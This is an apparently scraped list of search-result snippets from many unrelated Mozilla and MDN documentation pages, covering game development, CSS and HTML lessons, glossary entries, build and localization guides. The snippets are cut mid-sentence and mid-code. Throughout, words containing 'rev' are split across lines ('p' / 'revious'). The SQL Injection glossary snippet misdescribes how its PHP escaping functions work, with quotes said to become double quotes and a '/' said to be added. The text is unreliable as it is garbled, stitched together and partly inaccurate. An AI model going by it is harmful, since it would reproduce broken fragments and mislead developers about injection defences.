revenues to someone else just because your game is in their ecosystem.
... pointer lock api the pointer lock api lets you lock the mouse or other pointing device within your game's interface so that instead of absolute cursor positioning you receive coordinate deltas that give you more precise measurements of what the user is doing, and p
revent the user from accidentally sending their input somewhere else, thereby missing important action.
Game distribution - Game development
you can concatenate and minify the code to make it smaller and uglify it so it's a lot harder to
reverse engineer your game.
...whether you should go that way or not depends on what your plan is for having your game distributed: do you want to send it whe
rever possible, or do you want to restrict its presence to those who've bought an exclusive license?
Desktop mouse and keyboard controls - Game development
p
revious overview: control mechanisms next now when we have our mobile controls in place and the game is playable on touch-enabled devices, it would be good to add mouse and keyboard support, so the game can be playable also on desktop.
... p
revious overview: control mechanisms next ...
Mobile touch controls - Game development
touchhandler); document.addeventlistener("touchmove", touchhandler); the touchhandler function looks like this: function touchhandler(e) { if(e.touches) { playerx = e.touches[0].pagex - canvas.offsetleft - playerwidth / 2; playery = e.touches[0].pagey - canvas.offsettop - playerheight / 2; output.innerhtml = "touch: "+ " x: " + playerx + ", y: " + playery; e.p
reventdefault(); } } if the touch occurs (touches object is not empty), then we will have all the info we need in that object.
...the p
reventdefault() function is needed to p
revent the browser from moving — without it you'd have the default behaviour, and the canvas would be dragged around the page, which would show the browser scroll bars and look messy.
Buttons - Game development
« p
reviousnext » this is the 15th step out of 16 of the gamedev phaser tutorial.
... « p
reviousnext » ...
Main Axis - MDN Web Docs Glossary: Definitions of Web-related terms
these are: row row-
reverse column column-
reverse should you choose row or row-
reverse then your main axis will run along the row in the inline direction.
... choose column or column-
reverse and your main axis will run top to bottom of the page in the block direction.
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
(you can make a variable name point to a new value, but the p
revious value is still held in memory.
... on appending the "immutablestring" with a string value, following events occur: existing value of "immutablestring" is retrieved "world" is appended to the existing value of "immutablestring" the resultant value is then allocated to a new block of memory "immutablestring" object now points to the newly created memory space p
reviously created memory space is now available for garbage collection.
SQL Injection - MDN Web Docs Glossary: Definitions of Web-related terms
how to p
revent before executing the queries for the user credentials, make some changes like the following: $id = $_get['id'] (1) $id = stripslashes($id) (2) $id = mysql_real_escape_string($id) so due to (1) each single quote (') in the input string is replaced with double quotes ("), and due to (2) before every (') it adds (/).
... the
revised magical string fails to bypass the authentication, and your database stays secure.
Screen reader - MDN Web Docs Glossary: Definitions of Web-related terms
just like keyboard navigation without voiceover, you can navigate through interactive elements using the tab key and the arrow keys: next interactive element: tab p
revious interactive element: shift + tab next radio button in a same named-group: right or down arrow p
revious radio button in a same named-group: left or up arrow navigating through the content of a page is done with the tab key and a series of other keys along with control + option keys next heading: control + option + h next list: control + option + x next graphic: control + option + g n...
...ext table: control + option + t down an html hierarchical order control + option + right arrow p
revious heading: shift + control + option + h p
revious list: shift + control + option + x p
revious graphic: shift + control + option + g p
revious table: shift + control + option + t up an html hierarchical order: control + option + left arrow learn more aria ...
lossy compression - MDN Web Docs Glossary: Definitions of Web-related terms
lossy compression, or ir
reversible compression, is a data-compression method that uses inexact approximations and partial-data discarding to represent content.
...the process of such compression is ir
reversible; once lossy compression of the content has been performed, the content cannot be restored to its original state.
MDN Web Docs Glossary: Definitions of Web-related terms
web technologies contain long lists of jargon and abb
reviations that are used in documentation and coding.
... this glossary provides definitions of words and abb
reviations you need to know to successfully understand and build for the web.
Creating fancy letterheaded paper - Learn web development
add a background declaration to the letter that: fixes the top image to the top of the letter fixes the bottom image to the bottom of the letter adds a semi-transparent gradient over the top of both of the p
revious backgrounds that gives the letter a bit of texture.
... add another background declaration that just adds the top image to the top of the letter, as a fallback for browsers that don't support the p
revious declaration.
Organizing your CSS - Learn web development
p
revious overview: building blocks as you start to work on larger stylesheets and big projects you will discover that maintaining a huge css file can be challenging.
... p
revious overview: building blocks in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debug...
Attribute selectors - Learn web development
p
revious overview: building blocks next as you know from your study of html, elements can have attributes that give further detail about the element being marked up.
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables...
Type, class, and ID selectors - Learn web development
p
revious overview: building blocks next in this lesson we will take a look at the simplest selectors that are available, which you will probably use the most in your work.
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables...
CSS selectors - Learn web development
p
revious overview: building blocks next in css, selectors are used to target the html elements on our web pages that we want to style.
... p
revious overview: building blocks next reference table of selectors the below table gives you an overview of the selectors you have available to use, along with links to the pages in this guide which will show you how to use each type of selector.
Test your skills: backgrounds and borders - Learn web development
this aim of this skill test is to get you working with css backgrounds and borders using the skills you have learned in the p
revious lesson.
... make sure that the heading text does not overlay the image, and that it is centered — you will need to use techniques learned in p
revious lessons to achieve this.
The box model - Learn web development
p
revious overview: building blocks next everything in css has a box around it, and understanding these boxes is key to being able to create layouts with css, or to align items with other items.
... p
revious overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables...
Multiple-column layout - Learn web development
p
revious overview: css layout next the multiple-column layout specification gives you a method of laying content out in columns, as you might see in a newspaper.
...in a similar way to the border property that you encountered in p
revious lessons, column-rule is a shorthand for column-rule-color, column-rule-style, and column-rule-width, and accepts the same values as border.
Getting started with CSS - Learn web development
p
revious overview: first steps next in this article we will take a simple html document and apply css to it, learning some practical things about the language along the way.
... p
revious overview: first steps next in this module what is css?
Using your new knowledge - Learn web development
p
revious overview: first steps with the things you have learned in the last few lessons you should find that you can format simple text documents using css, to add your own style to them.
... p
revious overview: first steps in this module what is css?
Typesetting a community school homepage - Learn web development
p
revious overview: styling text in this assessment we'll test your understanding of all the text styling techniques we've covered throughout this module by getting you to style the text for a community school's homepage.
... p
revious overview: styling text in this module fundamental text and font styling styling lists styling links web fonts typesetting a community school homepage ...
Web fonts - Learn web development
p
revious overview: styling text next in the first article of the module, we explored the basic css features available for styling fonts and text.
... p
revious overview: styling text next in this module fundamental text and font styling styling lists styling links web fonts typesetting a community school homepage ...
What are browser developer tools? - Learn web development
click a property name or value to bring up a text box, where you can key in a new value to get a live p
review of a style change.
...ore out about the inspector in different browsers: firefox page inspector ie dom explorer chrome dom inspector (opera's inspector works the same as this) safari dom inspector and style explorer the javascript debugger the javascript debugger allows you to watch the value of variables and set breakpoints, places in your code that you want to pause execution and identify the problems that p
revent your code from executing properly.
What are hyperlinks? - Learn web development
back in 1989, tim berners-lee, the web's inventor, spoke of the three pillars on which the web stands: url, an address system that keeps track of web documents http, a transfer protocol to find documents when given their urls html, a document format allowing for embedded hyperlinks as you can see in the three pillars, everything on the web
revolves around documents and how to access them.
...this is where hyperlinks
revolutionized everything.
What is a web server? - Learn web development
deeper dive to
review: to fetch a webpage, your browser sends a request to the web server, which searches for the requested file in its own storage space.
... stateless neither the server nor the client remember p
revious communications.
Basic native form controls - Learn web development
p
revious overview: forms next in the p
revious article, we marked up a functional web form example, introducing some form controls and common structural elements, and focusing on accessibility best practices.
... p
revious overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for fo...
Example 4 - Learn web development
ect, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; function updatevalue(select, index) { var nativewidget = select.p
reviouselementsibling; var value = select.queryselector('.value'); var optionlist = select.queryselectorall('.option'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionlist[index]); }; function getindex(select) { var nativewidget = select.p
reviouselementsibling; return nativewidget.selectedindex; }; // ------------- //...
...); }); select.addeventlistener('blur', function (event) { deactivateselect(select); }); }); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.tabindex = 0; select.p
reviouselementsibling.tabindex = -1; updatevalue(select, selectedindex); optionlist.foreach(function (option, index) { option.addeventlistener('click', function (event) { updatevalue(select, index); }); }); select.addeventlistener('keyup', function (event) { var length = optionlist.length, index = getindex(select); if (event.keycode === 2...
Example 5 - Learn web development
ect, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; function updatevalue(select, index) { var nativewidget = select.p
reviouselementsibling; var value = select.queryselector('.value'); var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.setattribute('aria-selected', 'false'); }); optionlist[index].setattribute('aria-selected', 'true'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionli...
...st[index]); }; function getindex(select) { var nativewidget = select.p
reviouselementsibling; return nativewidget.selectedindex; }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.tabindex = 0; select.p
reviouselementsibling.tabindex = -1; updatevalue(select, selectedindex); optionlist.foreach(function (option, index) { option.addeventliste...
Other form controls - Learn web development
p
revious overview: forms next we now look at the functionality of non-<input> form elements in detail, from other control types such as drop-down lists and multi-line text fields, to other useful form features such as the <output> element (which we saw in action in the p
revious article), and progress bars.
... p
revious overview: forms next in this module your first form how to structure a web form basic native form controls the html5 input types other form controls styling web forms advanced form styling ui pseudo-classes client-side form validation sending form data advanced topics how to build custom form controls sending forms through javascript property compatibility table for fo...
Dealing with files - Learn web development
p
revious overview: getting started with the web next a website consists of many files: text content, code, stylesheets, media content, and so on.
...your folder structure should look something like this: p
revious overview: getting started with the web next in this module installing basic software what will your website look like?
Publishing your website - Learn web development
p
revious overview: getting started with the web next once you finish writing the code and organizing the files that make up your website, you need to put it all online so people can find it.
... p
revious overview: getting started with the web next in this module installing basic software what will your website look like?
Document and website structure - Learn web development
p
revious overview: introduction to html next in addition to defining individual parts of your page (such as "a paragraph" or "an image"), html also boasts a number of block level elements used to define areas of your website (such as "the header", "the navigation menu", "the main content column").
...all rights
reversed.</p> </footer> </body> </html> take some time to look over the code and understand it — the comments inside the code should also help you to understand it.
Structuring a page of content - Learn web development
p
revious overview: introduction to html structuring a page of content ready for laying it out using css is a very important skill to master, so in this assessment you'll be tested on your ability to think about how a page might end up looking, and choose appropriate structural semantics to build a layout on top of.
... p
revious overview: introduction to html in this module getting started with html what’s in the head?
Mozilla splash page - Learn web development
p
revious overview: multimedia and embedding in this assessment, we'll test your knowledge of some of the techniques discussed in this module's articles, getting you to add some images and video to a funky splash page all about mozilla!
... p
revious overview: multimedia and embedding in this module images in html video and audio content from <object> to <iframe> — other embedding technologies adding vector graphics to the web responsive images mozilla splash page ...
Assessment: Structuring planet data - Learn web development
p
revious overview: tables in our table assessment, we provide you with some data on the planets in our solar system, and get you to structure it into an html table.
... p
revious overview: tables in this module html table basics html table advanced features and accessibility structuring planet data ...
Image gallery - Learn web development
p
revious overview: building blocks now that we've looked at the fundamental building blocks of javascript, we'll test your knowledge of loops, functions, conditionals and events by getting you to build a fairly common item you'll see on a lot of websites — a javascript-powered image gallery.
... p
revious overview: building blocks in this module making decisions in your code — conditionals looping code functions — reusable blocks of code build your own function function return values introduction to events image gallery ...
JavaScript building blocks - Learn web development
get started prerequisites before starting this module, you should have some familiarity with the basics of html and css, and you should have also worked through our p
revious module, javascript first steps.
... build your own function with most of the essential theory dealt with p
reviously, this article provides a practical experience.
Silly story generator - Learn web development
p
revious overview: first steps in this assessment you'll be tasked with taking some of the knowledge you've picked up in this module's articles and applying it to creating a fun app that generates random silly stories.
... p
revious overview: first steps in this module what is javascript?
Test your skills: Strings - Learn web development
use a combination of the variables you have and available string properties/methods to trim down the original quote to "i do not like green eggs and ham.", and store it in a variable called
revisedquote.
... strings 3 in the next string task, you are given the same quote that you ended up with in the p
revious task, but it is somewhat broken!
Storing the information you need — Variables - Learn web development
p
revious overview: first steps next after reading the last couple of articles you should now know what javascript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level.
... p
revious overview: first steps next in this module what is javascript?
What went wrong? Troubleshooting JavaScript - Learn web development
p
revious overview: first steps next when you built up the "guess the number" game in the p
revious article, you may have found that it didn't work.
... fixing syntax errors earlier on in the course we got you to type some simple javascript commands into the developer tools javascript console (if you can't remember how to open this in your browser, follow the p
revious link to find out how).
JavaScript First Steps - Learn web development
get started prerequisites before starting this module, you don't need any p
revious javascript knowledge, but you should have some familiarity with html and css.
...troubleshooting javascript when you built up the "guess the number" game in the p
revious article, you may have found that it didn't work.
Adding features to our bouncing balls demo - Learn web development
p
revious overview: objects in this assessment, you are expected to use the bouncing balls demo from the p
revious article as a starting point, and add some new and interesting features to it.
... p
revious overview: objects in this module object basics object-oriented javascript for beginners object prototypes inheritance in javascript working with json data object building practice adding features to our bouncing balls demo ...
Inheritance in JavaScript - Learn web development
p
revious overview: objects next with most of the gory details of oojs now explained, this article shows how to create "child" object classes (constructors) that inherit features from their "parent" classes.
... add the following line below your p
revious addition: teacher.prototype = object.create(person.prototype); here our friend create() comes to the rescue again.
HTML performance features - Learn web development
p
revious overview: performance next html is by default fast and accessible.
... elements & attributes impacting performance the <picture> element the <video> element the <source> element the <img> srcset attribute responsive images preloading content with rel="preload" - (https://w3c.github.io/preload/ ) async / defer attributes <iframe> <object> <script> rel attribute conclusion p
revious overview: performance next in this module the "why" of web performance what is web performance?
Multimedia: Images - Learn web development
p
revious overview: performance next media, namely images and video, account for over 70% of the bytes downloaded for the average website.
... p
revious overview: performance next in this module the "why" of web performance what is web performance?
What is web performance? - Learn web development
p
revious overview: performance next web performance is all about making web sites fast, including making slow processes seem fast.
... p
revious overview: performance next in this module the "why" of web performance what is web performance?
JavaScript performance - Learn web development
p
revious overview: performance next while images and video account for over 70% of the bytes downloaded for the average website, byte per byte, javascript has a greater negative impact on performance.
... p
revious overview: performance next in this module the "why" of web performance what is web performance?
Multimedia: video - Learn web development
p
revious overview: performance next as we learned in the p
revious section, media, namely images and video, account for over 70% of the bytes downloaded for the average website.
... p
revious overview: performance next in this module the "why" of web performance what is web performance?
Getting started with Ember - Learn web development
p
revious overview: client-side javascript frameworks next in our first ember article we will look at how ember works and what it's useful for, install the ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Introduction to client-side frameworks - Learn web development
accessibility on a framework-driven web let's build on what we said in the p
revious section, and talk a bit more about accessibility.
... static site generators have been around for quite a long time, but they have seen a bit of a
revival in the recent history of the web.
Componentizing our React app - Learn web development
p
revious overview: client-side javascript frameworks next at this point, our app is a monolith.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
React resources - Learn web development
p
revious overview: client-side javascript frameworks next our final article provides you with a list of react resources that you can use to go further in your learning.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Beginning our React todo list - Learn web development
p
revious overview: client-side javascript frameworks next let's say that we’ve been tasked with creating a proof-of-concept in react – an app that allows users to add, edit, and delete tasks they want to work on, and also mark tasks as complete without deleting them.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Starting our Svelte Todo list app - Learn web development
p
revious overview: client-side javascript frameworks next now that we have a basic understanding of how things work in svelte, we can start building our example app: a todo list.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Getting started with Svelte - Learn web development
p
revious overview: client-side javascript frameworks next in this article we'll provide a quick introduction to the svelte framework.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Creating our first Vue component - Learn web development
p
revious overview: client-side javascript frameworks next now it's time to dive deeper into vue, and create our own custom component — we'll start by creating a component to represent each item in the todo list.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Focus management with Vue refs - Learn web development
p
revious overview: client-side javascript frameworks next we are nearly done with vue.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Vue resources - Learn web development
p
revious overview: client-side javascript frameworks next now we'll round off our study of vue by giving you a list of resources that you can use to go further in your learning, plus some other useful tips.
... p
revious overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ...
Cross browser testing - Learn web development
handling common html and css problems with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to p
revent problems from happening, or fix problems that occur.
...we will also look at how to integrate your local testing environment with commercial apps like the ones discussed in the p
revious article.
Git and GitHub - Learn web development
all developers will use some kind of version control system (vcs), a tool to allow them to collaborate with other developers on a project without danger of them overwriting each other's work, and roll back to p
revious versions of the code base if a problem is discovered later on.
...git is an example of a vcs, and github is a web site + infrastructure that provides a git server plus a number of really useful tools for working with git repositories individually or in teams, such as reporting issues with the code,
reviewing tools, project management features such as assigning tasks and task statuses, and more.
Accessibility API cross-reference
note the
reversed logic in some apis invisible visible visible aria-hidden hidden (boolean attribute) indicates whether the object is in an iconified or minimized state.
... n/a <q> <quote> note the
reversed logic in some apis readonly editable editable aria-readonly=true this object can be selected selectable selectable selectable this object is selected selected selected selected aria-selected=true selected (boolean attribute) for a button that is "consistent".
Accessible Toolkit Checklist
general dialogs/windows/general escape key cancels dialogs and refocuses the p
reviously focused on the parent window.
... accnavigate: navigate to the first/last child, p
revious/next sibling, up, down, left or right from this iaccessible.
Bugzilla
bugzilla.mozilla.org (often abb
reviated b.m.o) is mozilla.org's bug-tracking system, a database for recording bugs and enhancement requests for firefox, thunderbird, seamonkey, camino, and other mozilla.org projects.
... testopia - test case management extension bugzilla.org - the project site wikipedia:bugzilla - general description of bugzilla (not specific to mozilla projects) bmo on wiki.mozilla.org - information about mozilla's customized bugzilla installation, including how to contribute to it tools bugzilla todos lists
review and flag requests, patches to check in, unfulfilled requests you made of other people, and assigned bugs.
How Mozilla's build system works
python 2 is p
revalent in a mozilla build system.
... topsrcdir = @top_srcdir@ srcdir = @srcdir@ vpath = @srcdir@ include $(depth)/config/autoconf.mk module = layout library_name = gkbase_s # requires and cppsrcs omitted here for b
revity # # we don't want the shared lib, but we want to force the creation of a static lib.
Old Thunderbird build
first, cd into the comm-central subdirectory (created automatically by the p
revious command): cd comm-central then run: python client.py checkout on some types of network connections, "hg clone" might fail because it gets interrupted.
...you can clean out p
revious build artefacts using ./mozilla/mach clobber references general build documentation comm-central using the mozilla symbol server ...
ESLint
in order to help people write standard-compliant code from the start and avoid wasting time during code
reviews, a set of eslint configuration files have been added to the code base so that javascript can be analyzed automatically.
...meeting these rules before
review will help reduce the amount of
review time, and the
revisions necessary to have a
review granted.
Interface Compatibility
any changes, including new features, must have super-
review.
... one exception to this rule is apis which are explicitly shipped with mozilla prefixes as a technology p
review.
Performance best practices for Firefox front-end engineers
for example, transitioning the background-color of a dom node from red to blue will result in a repaint for every frame of the animation, and paint flashing will
reveal that.
...see this comment and a few p
revious comments on that bug for more information.
Tracking Protection
for example, you should not use google analytics in the following way: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <script> function tracklink(url,event) { event.p
reventdefault(); ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } </script> instead, you should account for the case when google analytics is missing by checking to see if the ga object has initialized: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"...
...> visit example.com </a> <script> function tracklink(url,event) { event.p
reventdefault(); if (window.ga && ga.loaded) { ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } else { document.location = url; } } </script> more information about this technique is available at google analytics, privacy, and event tracking.
HTMLIFrameElement.findNext()
the findnext() method of the htmliframeelement highlights the next or p
revious instance of a search result after a findall() search has been carried out.
... p
rev.addeventlistener('touchend',function() { browser.findnext('backward'); }); next.addeventlistener('touchend',function() { browser.findnext('forward'); }); specification not part of any specification.
HTMLIframeElement.removeNextPaintListener()
the removenextpaintlistener() method of the htmliframeelement interface is used to remove a handler p
reviously set with the addnextpaintlistener method.
... parameters listener a function handler p
reviously set with addnextpaintlistener.
HTML parser threading
if another tree op that attempts to execute a script is generated while speculating, another speculation object is initialized as described above and placed in the queue of speculation objects after the p
revious one.
...if there is data in document.write() input after a an external script (or any data at all if a p
revious document.write() call has contained an external script and blocked the parser), the data is left in a linked list of nshtml5owningutf16buffer objects.
Script security
objects in a privileged scope are allowed complete access to objects in a less privileged scope, but by default they see a restricted view of such objects, designed to p
revent them from being tricked by the untrusted code.
... xrays are designed to p
revent untrusted code from confusing trusted code by redefining objects in unexpected ways.
Getting Started with Chat
these operate very much in the same way as the p
reviously mentioned desktop clients and chatzilla.
... nickserv this bot allows you to register your nickname which p
revents other users from using it.
How to implement a custom autocomplete search component
nction providerautocompletesearch() { } providerautocompletesearch.prototype = { classid: class_id, classdescription : class_name, contractid : contract_id, /** * searches for a given string and notifies a listener (either synchronously * or asynchronously) of the result * * @param searchstring the string to search for * @param searchparam an extra parameter * @param p
reviousresult a p
revious result to use for faster searchinig * @param listener the listener to notify when the search is complete */ startsearch: function(searchstring, searchparam, p
reviousresult, listener) { var results = ['mary', 'john']; var autocomplete_result = new providerautocompleteresult(searchstring, ci.nsiautocompleteresult.result_success, 0, "", results, null); ...
...s.ns_error_no_interface; return this; } }; // implements nsiautocompletesearch function simpleautocompletesearch() { } simpleautocompletesearch.prototype = { /* * search for a given string and notify a listener (either synchronously * or asynchronously) of the result * * @param searchstring - the string to search for * @param searchparam - an extra parameter * @param p
reviousresult - a p
revious result to use for faster searchinig * @param listener - a listener to notify when the search is complete */ startsearch: function(searchstring, searchparam, result, listener) { // this autocomplete source assumes the developer attached a json string // to the the "autocompletesearchparam" attribute or "searchparam" property // of the <textbox> element.
Addon
screenshots read only addonscreenshot[] an array of addonscreenshot objects containing urls of p
review images for the add-on.
... fulldescription read only string developercomments read only string eula read only string icon64url read only string supporturl read only string contributionurl read only string contributionamount read only string averagerating read only number
reviewcount read only integer
reviewurl read only string totaldownloads read only integer weeklydownloads read only integer dailyusers read only integer repositorystatus read only integer callbacks datadirectorycallback() a callback which is passed a directory path, and, when an error has occur...
AsyncShutdown.jsm
if, for some reason, promise is never resolved/rejected, firefox will crash during shutdown to avoid blocking system shutdown, p
reventing the user from restarting firefox or burning through a battery.
... // execute this code during profilebeforechange // no specific guarantee about completion of profilebeforechange }); if the promise returned by condition is not resolved/rejected within one minute, the process will crash to avoid blocking system shutdown, p
reventing the user from restarting firefox or burning through battery.
Download
if the download is in progress, the method returns the same promise as the p
revious call.
... note: this method should be used in place of the cancel() and removepartialdata() methods while shutting down or disposing of the download object, to p
revent other callers from interfering with the operation.
Downloads.jsm
calling this function may cause the download list to be reloaded from the p
revious session, if it wasn't loaded already.
... calling this function does not cause the list of public downloads to be reloaded from the p
revious session.
Examples
using a promise returned by a function (compact) the same code as the p
revious example is usually written with a more compact syntax: components.utils.import("resource://gre/modules/osfile.jsm") let path = os.path.join(os.constants.path.tmpdir, "file.txt"); os.file.exists(path).then(exists => { console.log(exists ?
..."you have .mozconfig in " + currentdir : "you don't have .mozconfig in " + currentdir); }); }).then(null, components.utils.reporterror); parallel promise (this example needs more work) so when chaining promises, consequent promises run after the p
revious promise completes.
XPCOMUtils.jsm
to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/xpcomutils.jsm"); using xpcomutils exposing a javascript class as a component using these utility methods requires four key steps: import xpcomutils.jsm, as explained p
reviously.
... create the nsgetfactory() or nsgetmodule() entry point finally, you need to implement the nsgetmodule() entry point so gecko can start up your component: // "components" is the array created in the p
revious section if ("generatensgetfactory" in xpcomutils) var nsgetfactory = xpcomutils.generatensgetfactory(components); // gecko 2.0+ else var nsgetmodule = xpcomutils.generatensgetmodule(components); // gecko 1.9.x method overview function definelazygetter(aobject, aname, alambda); function definelazymodulegetter(aobject, aname, aresource, [optional] asymbol); ...
Mozilla Content Localized in Your Language
your language's style guide abb
reviations how are abb
reviations expressed in your language?
... articles -- avoid them articles (such as the word "the" in english) should be avoided whe
rever possible.
Localizing extension descriptions
the following example demonstrates this (most normal manifest properties have been removed for b
revity): <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>tabsidebar@blueprintit.co.uk</em:id> <em:localized> <description> <em:locale>de-de</em:locale> <em:name>tab sidebar</em:name> <em:description>zeigt in einer sideb...
...ar vorschaubilder der inhalte aller offenen tabs an.</em:description> </description> </em:localized> <em:localized> <description> <em:locale>es-es</em:locale> <em:name>tab sidebar</em:name> <em:description>muestra una vista p
revia de sus pestañas en su panel lateral.</em:description> </description> </em:localized> <em:localized> <description> <em:locale>nl-nl</em:locale> <em:name>tab sidebar</em:name> <em:description>laat voorbeeldweergaven van uw tabbladen in de zijbalk zien.</em:description> </description> </em:localized> <em:name>tab sidebar</em:name> <em:description>displays p
reviews of your tabs in your sidebar.</em:description> </description> </rdf> all of the metadata mentione...
Localizing with Mercurial
the commit message should take the form of "bug 123456 - change this thing to work better by doing something; r=
reviewers" if you are to fix a bug.
...write access to the hg repositories requires a ''voucher'', which, for the owner, will be done based on the
review by mozilla.
Localizing without a specialized tool
$ compare-locales mozilla-1.9.2/browser/locales/l10n.ini l10n-mozilla-1.9.2 x-testing for convenience, try saving the output of this command to a text file on your desktop so you can
review it as you go.
...going one-by-one with your compare-locales output open for
review, we will start with the first file with "// add and localize this file" note.
QA phase
let's see what the last
revision in this repository is.
... « p
reviousnext » ...
What every Mozilla translator should know
some branch/release names identified: mozilla source + en-us localization files for [ab-cd] locale corresponding firefox version branches in hg mozilla-central l10n-central firefox.next (trunk) mozilla-1.9.2 l10n-mozilla-1.9.2 firefox 3.6 mozilla-1.9.1 l10n-mozilla-1.9.1 firefox 3.5 and, on the former
revision control system, cvs: cvs trunk (the default branch) -> firefox/thunderbird 3.0.x branch mozilla_1_8_branch -> firefox/thunderbird 2.0 branch mozilla cross-reference mozilla cross-reference is a web site mirroring the content of the hg server.
...eate a bug, if you want the person in charge of the l10n to follow up your bug you should cc: l10n@mozilla.com if you choose to make changes to your localization, you should make the changes local to your disk, push them to your hg repository on merucial, test the changes on a nightly/tinderbox build, fix any errors if some are found and test again, and send the new changeset id as your "opt-in"
revisions to the l10-drivers.
Mozilla Web Developer FAQ
contrary to a popular belief stemming from the behavior of a couple browsers running on the windows platform, alt isn’t an abb
reviation for ‘tooltip’ but for ‘alternative’.
... instead of putting time and effort into
reverse-engineering and cloning legacy browsers, it makes more sense to focus on implementing standards.
Mozilla Style System Documentation
matters dealing with dynamic style changes are also tricky because the style contexts don't have pointers to their frames, but instead, we have the
reverse and is probably the biggest flaw in the design of this part of the system.
...i'm reluctant to write it both since i don't know much about it.] problems:a bunch the code needs to be rewritten to p
revent stylesheets from blocking the parser and to reduce string copying (although that partly goes with parsing).] parsing stylesheet representation problems: the stylesheet representation uses way too much memory.
A brief guide to Mozilla preferences
preferences files to protect privacy by p
reventing inadvertent loading of a preferences file in the browser, the first line of the file is made un-parseable and skipped on loading.
... note the application never changes user.js, so on launch user.js overrides conflicting preferences from the p
revious application session.
L20n Javascript API
error - fired when an error occurs which p
revents the context instance from working correctly or when the existing translations are buggy.
... ctx.removeeventlistener(event: string, callback: function) remove an event listener p
reviously registered with addeventlistener.
Localization Use Cases
byteunit-b = b byteunit-kb = kb byteunit-mb = mb byteunit-gb = gb byteunit-tb = tb for example in french, the unit abb
reviations are as follows: byteunit-b = o byteunit-kb = ko byteunit-mb = mo byteunit-gb = go byteunit-tb = to solution in l20n, the french localizer could provide the translation of unit abb
reviations locally in the localization file, without impacting the english localization file.
...calized value: function showformatedsize(element, l10nid, size) { // … element.textcontent = document.l10n.get(l10nid, { size: sizeinfo.size, unit: sizeinfo.unit }); } and then use the $unit variable verbatim in the english message: <availablesize "{{ $size }} {{ $unit }} available"> in french, the localizer can then use the value of $unit to match it against a translated abb
